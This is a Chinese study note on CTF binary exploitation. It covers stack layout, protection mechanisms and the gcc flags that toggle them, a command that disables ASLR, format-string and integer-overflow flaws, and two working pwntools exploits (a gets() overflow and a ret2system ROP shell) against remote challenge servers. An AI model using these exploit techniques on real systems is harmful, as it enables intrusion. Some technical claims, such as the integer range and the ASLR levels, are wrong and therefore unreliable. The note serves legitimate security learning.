pwn前置基础
栈溢出及其返回地址(简略)
栈顶:esp
栈底:ebp
返回地址的地址位于 ebp,也就是栈底的地址加 4 个字节,假如 ebp 为 0xFF99C968, 那么返回地址就是 0XFF99C96C
中间相差 4(或者 8 个字节) 个字节,同时要说一下地址的数字越大代表在栈堆中的位置越往下,也可以理解为返回地址在栈底下面 4(或者)个字节。
例如 0x00007FFCB22FC5A0,这就是 64 位的栈地址,而这时候函数的返回地址就是栈底的地址加 8,也就是 0x00007FFCB22FC5F8
详细分析见我的内存模型和栈和堆的笔记
checksec 指令
用来查询 pwn 题目的壳和保护,并且能够看到程序的信息
checksec (ELF文件名)
常见保护
Canary
stack canary表示栈的报警保护。在函数返回值之前添加的一串随机数(不超过机器字长),末位为/x00(提供了覆盖最后一字节输出泄露canary的可能),如果出现缓冲区溢出攻击,覆盖内容覆盖到canary处,就会改变原本该处的数值,当程序执行到此处时,会检查canary值是否跟开始的值一样,如果不一样,程序会崩溃,从而达到保护返回地址的目的。
gcc -o test test.c // 默认情况下,不开启Canary保护
gcc -fno-stack-protector -o test test.c //禁用栈保护
gcc -fstack-protector -o test test.c //启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码
gcc -fstack-protector-all -o test test.c //启用堆栈保护,为所有函数插入保护代码
NX
NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。栈溢出的核心就是通过局部变量覆盖返回地址,然后加入shellcode,NX策略是使栈区域的代码无法执行。
gcc -o test test.c // 默认情况下,开启NX保护
gcc -z execstack -o test test.c // 禁用NX保护
gcc -z noexecstack -o test test.c // 开启NX保护
PIE(ASLR)
内存地址随机化机制(address space layout randomization),有以下三种情况
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。
gcc -o test test.c // 默认情况下,不开启PIE
gcc -fpie -pie -o test test.c // 开启PIE,此时强度为1
gcc -fPIE -pie -o test test.c // 开启PIE,此时为最高强度2
gcc -fpic -o test test.c // 开启PIC,此时强度为1,不会开启PIE
gcc -fPIC -o test test.c // 开启PIC,此时为最高强度2,不会开启PIE
关闭 PIE
sudo -s echo 0 > /proc/sys/kernel/randomize_va_space
RELRO
Partial RELRO:GCC 的默认设置,几乎所有的二进制文件都至少使用 部分RELRO。这样仅仅只能防止全局变量上的缓冲区溢出从而覆盖 GOT。
Full RELRO:使整个 GOT 只读,从而无法被覆盖,但这样会大大增加程序的启动时间,因为程序在启动之前需要解析所有的符号。
gcc -o test test.c // 默认情况下,是Partial RELRO
gcc -z norelro -o test test.c // 关闭,即No RELRO
gcc -z lazy -o test test.c // 部分开启,即Partial RELRO
gcc -z now -o test test.c // 全部开启,即Full RELRO
常见基础漏洞
格式化字符串漏洞
主要这个开启了 canary,就不能直接利用栈溢出覆盖返回地址了
所以可以通过格式化字符串漏洞泄露 canary 的值,然后再进行栈溢出的覆盖
格式化字符串漏洞是因为 printf 的输出完全由用户控制
一个是通过 %p(将参数以十六进制方式打印)来实现任意内存泄露
64 位前六个参数位于寄存器,第多少个 %p 是目的内存则可以通过栈帧进行计算,八位(0x8)为一个 %p
再就是通过 %n(把输出字符的个数写入到地址中)来实现任意内存写入
栈溢出需要注意的则是由于开启了 CANNARY,覆盖是需要注意把 canary 用原值覆盖
在使用输出功能时,例如使用 printf() 函数时
使用了如下的代码,
printf(&s),
当然这是种错误的写法
正确的写法是
printf("%s",s)
但是错误的写法可以运行么,答案是可以的。
整数溢出漏洞
先贴一下 ctf 手册里面的定义。
整数溢出的原理:
假定一个整数,为 int 类型,我们要知道他的取值范围在 0-65535 之间
那么如果如果我们赋值给 var1=0,var2=65536, 那么在条件判断语句 if(var1==var2) 之下,他们两个是相等的。
同理可得 var1=1=var2=65537。
gets 函数所产生的漏洞
gets 函数不会限制输入的字符个数,所以会产生栈溢出漏洞
这里举个攻防世界的例子:
when_did_you_born
例如下图所示,我们就可以看到这个程序打开了 NX 保护和 Canary 保护,同时知道了它是一个 64 位的程序
可以看到gets()函数不限制输入字符串的长度
故构造exp:
from pwn import*
c=remote('220.249.52.133',35638)
c.recvuntil("What's Your Birth?")
c.sendline("1999")
c.recvuntil("What's Your Name?")
p='a'*(0x20-0x18)+p64(1926) #gets()的栈溢出
c.sendline(p)
c.interactive()
ROP
返回导向编程技术(Return-Oriented Programming,ROP)。所谓ROP,简单的说就是把原来已经存在的代码块拼接起来,拼接的方式是通过一个预先准备好的特殊的返回栈,里面包含了各条指令结束后下一条指令的地址。
同样使用攻防世界的题目举例:
file命令查看elf为32位的程序,拖到IDA打开
发现system函数和vulnerable_function()函数
进入vulnerable_function()函数:
注意到数组buf长度为0x88,而read函数允许读入长度为0x100,存在明显栈溢出漏洞
且查找发现有字符串:\bin\sh
故查找system函数\bin\sh的地址,构造exp
system地址:0x08048320
\bin\sh地址:0x0804A024
注意:程序为32位,ebp地址为4个字符
#exp
from pwn import*
c=remote('220.249.52.133',34222)
c.recvuntil("Input:")
p='a'*0x88+'a'*4+p32(0x08048320)+'a'*4+p32(0x0804A024) #两个‘a’*4为覆盖他们栈帧的ebp
c.sendline(p)
c.interactive()